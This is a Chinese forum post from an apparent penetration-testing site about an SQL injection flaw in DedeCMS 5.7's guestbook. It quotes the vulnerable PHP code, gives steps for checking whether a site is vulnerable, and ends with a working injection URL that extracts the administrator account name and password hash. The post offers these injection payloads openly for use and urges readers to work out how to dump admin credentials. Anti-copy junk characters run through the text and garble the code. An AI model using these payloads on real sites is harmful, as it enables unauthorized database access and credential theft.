中国网络渗透测试联盟

标题: dedecms5.7最新sql注射漏洞利用 guestbook.php [打印本页]

作者: admin    时间: 2012-11-13 13:24
标题: dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7! G: d5 o6 f3 d1 a0 O/ p
& @; M. ^- r& t) h
漏洞文件edit.inc.php具体代码:& T% a: P" y6 K# B

9 ?# W1 C; F- f< ?php  
  F* ?4 z0 X6 P6 w5 e
! ~8 Y# v4 j2 H' h# Z- `1 r4 zif(!defined('DEDEINC')) exit('Request Error!');  ! [  I) L: c. i  Q$ a, ^

" ?, u4 d2 s) W0 _: }  r8 w& Y   : j4 k3 m' M7 q$ m8 j
8 k* O. L- o/ [  X
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  , e; D- O" w! e/ Z

3 o, ?) r& G, c2 ~/ q1 F& Y' |! `else $GUEST_BOOK_POS = "guestbook.php";  ) c3 K3 N8 P( V5 u6 [  E

0 Q% I% D: Y& D! I   
$ P* o! a  r2 I. U
; z$ |% _+ j, a: I# g- y$id = intval($id);  ! L; B8 O1 [$ P

1 C0 i, W3 Z* A! c" {if(empty($job)) $job='view';  4 d- t6 b+ B  z3 w- t8 ]) e2 {
6 `; w- s" ^+ X. k5 s) N7 k- X; q) f
   
# |; S6 V! ~4 N# c! g% w, n# l- H: l0 x) z1 i# ?, G
if($job=='del' && $g_isadmin)  
- }8 O* ~0 |( S- O: W$ a( k2 f% h
{  - b" \- I( e3 |4 @" c3 `* ~# a

: \( W& R- l$ X/ t1 Z' ]/ W$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  % k  m9 ?9 O1 \. r4 K& t

: u5 F& j5 [3 b3 {8 MShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
! a% g6 j4 H) [% U4 v0 G# I
6 k) Y! P. G0 v2 E) x2 ?  A' Eexit();  5 O" }& A! [/ R
2 Q, [8 I/ a6 b! |+ G
}  
% Z2 S& G0 Z0 ^: W! v0 P( @' E8 n! N' q+ A) m& n+ F5 u
else if($job=='check' && $g_isadmin)  
) K4 \% t( ~6 ]/ Z
3 L8 ^6 E+ T1 j2 H) I{  # {7 X' n$ \/ r+ ?
# r# U: h; @/ m0 U% `7 j' S
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
% k( X4 w  R' r+ D. f4 F( R' D9 }9 B! P8 q" e
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
, `5 V* N' f( B: X, n8 ^* G1 e4 m" g, `+ D8 K0 V' E
exit();  7 F- |; r# n2 ?" h1 d) Y" k% n
$ l4 e, A# Y& ]4 f0 R
}  9 q, H+ U) _' ~* O/ ?/ @% b1 n7 R
( ^  a0 S  D) W3 N9 n
else if($job=='editok')  / L3 s8 k, P) r, l& {; N9 d2 n& R

% ?; T7 n. H3 _2 n1 y. h{  
% H6 w- z- v1 y$ t2 A' e
. L# o) u- N& ]/ m+ U( O: j$ |$remsg = trim($remsg);  6 y6 M+ f, \# R8 _3 J6 Q" c$ R
3 `) N9 x7 m$ p2 k( @' y8 a$ b& R
if($remsg!='')  
3 _$ B% a! {3 q7 o, Z6 j4 [8 R5 ]3 O- d! k$ t9 U; y
{  # e: D+ o. F6 N; F# R; Z
3 |/ ^& T$ R! N6 c/ p9 r0 X
//管理员回复不过滤HTML By:Errorera blog:errs.cc  / P7 U) Q& {6 z

* s0 X! l" h. Xif($g_isadmin)  
8 E+ i9 r4 U$ K7 U
3 Y" L) q. E# ]$ G( M{  & C5 Z9 m8 j7 B* U; J. ~' z' o

7 j* @  w5 [) @/ j$ y$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  3 `2 b8 L% L& W3 a

8 V* _: l4 v5 j! p& x//$remsg <br /><font color=red>管理员回复:</font> }  
0 G1 G# g8 b$ {2 r% U. f4 M7 P5 z& ?' U: ~  u
else ; z+ o: v# k+ o/ X  B3 O
5 h$ Y9 R) K! [
{  " O' ]' n, q$ |

" H6 S) H2 o/ ?4 X) x: i$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
! U" I# H# R9 T3 m
" d# P9 q# z4 r! Q8 a$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
* a: i! [; n9 [+ c. P$ Q- x! v
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
2 W6 D3 I/ f7 S% c+ p- G" K! Q- Q3 m
$msg = $oldmsg.$remsg;  + z7 A' x' }- t  t* c6 m- e

" i/ l. U6 E" G$ H  ?}  7 K8 c& H7 F: ]* _( y( t' L+ g

+ n" Y. E( u: D  f; l}  
  L! H+ H  V+ U
  ?& R: c! w' ~- Y' x! k, R( l9 W4 P//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
# q2 n( {. W: \. r, V6 H; t2 w. w, ~6 c
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
2 T8 [, i( S. F: S9 z9 U6 s8 H& b* x; Y+ w7 E6 ^
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ! U4 ]& F8 [6 ^7 g7 Z. ~

  r; J; V4 P* O  X& B0 {! Y) R* `exit();  " E5 W/ W+ E5 J- e: ]3 X2 v

% F6 a4 F: U" _! l6 K}  
2 t. X' w, R9 J8 M7 H
  O( d8 S  {; \" g4 V+ o//home:www.errs.cc  3 N) {0 H# u1 j7 B" e1 }

9 @7 j" i+ j; C. |3 s; l0 qif($g_isadmin)  . f% J4 H, |' e( g" V: ]
0 q% q$ p7 y& e7 x# k8 r; h
{  
! }* t3 O$ {8 h- M- t  X1 e$ Q
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  7 V6 p7 [4 U, q) g0 X  i7 a

4 ^# h' j6 Y5 C7 a9 x3 n6 erequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
8 B0 P7 [7 {" c9 V; K# b! o/ p  E0 o4 Y+ P6 T4 H! K
}  2 ]: a& G! m8 o0 J* w; q% j

2 ^) o  {5 L. Velse $ a; C$ l: X- l$ S/ ?8 W1 H
. [" L5 [6 z) O
{  
7 p6 G; [7 T+ V' S1 d( S3 R- ?
3 F$ [2 B* Y1 w% l& |$ ^# F$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  1 u; x4 e' s2 p. s3 }, X

* m' h/ v; E, r. k1 @7 orequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
' N. \) b$ t. \( v" ~% b& g0 H' V  u* H* `0 J. Z) ~+ g# T
} 漏洞成功需要条件:7 W& g9 m# N# Y5 P: R* q" J
1. php magic_quotes_gpc=off
' m- y1 v0 u8 T. [2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
: E( g3 L, y; H5 R
5 ~- ^2 d  U$ c& F* p/ J怎么判断是否存在漏洞:
4 f& U. }) x& M! j2 b先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
6 y# b7 R; v" ]9 _* }& y. A# ~然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
) m* f& t% m/ r- v! g0 X访问:
( E2 |% [0 A4 \7 o5 r" K
7 Q( v5 R4 h% c6 p9 d: @' wwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了+ {+ y2 D  p5 T* i
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证" T7 j' h  n6 ]. f. Q
; V& X5 ~7 N! O( ~! d' j5 [4 c2 s9 ?
# M# w$ d" }7 p! c
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
. ~0 m: r' v5 I# R如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。3 G* X" P1 P8 h4 Y
那么再次访问
8 O; m$ l) [) k, o. m+ a
* j) d" c% \; D& iwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().; E+ l, X) J2 \% L, O
% Y3 S2 O# \% z. d
大概利用就是这样,大家有兴趣的多研究下!!
, e+ p4 s: L2 C# y. _2 w! C! Z2 \9 N1 t0 Y3 p2 s7 ]0 s
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!& B0 g) q- }& N9 N3 O  Q

2 J% K" u" {( X8 y/ Uview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2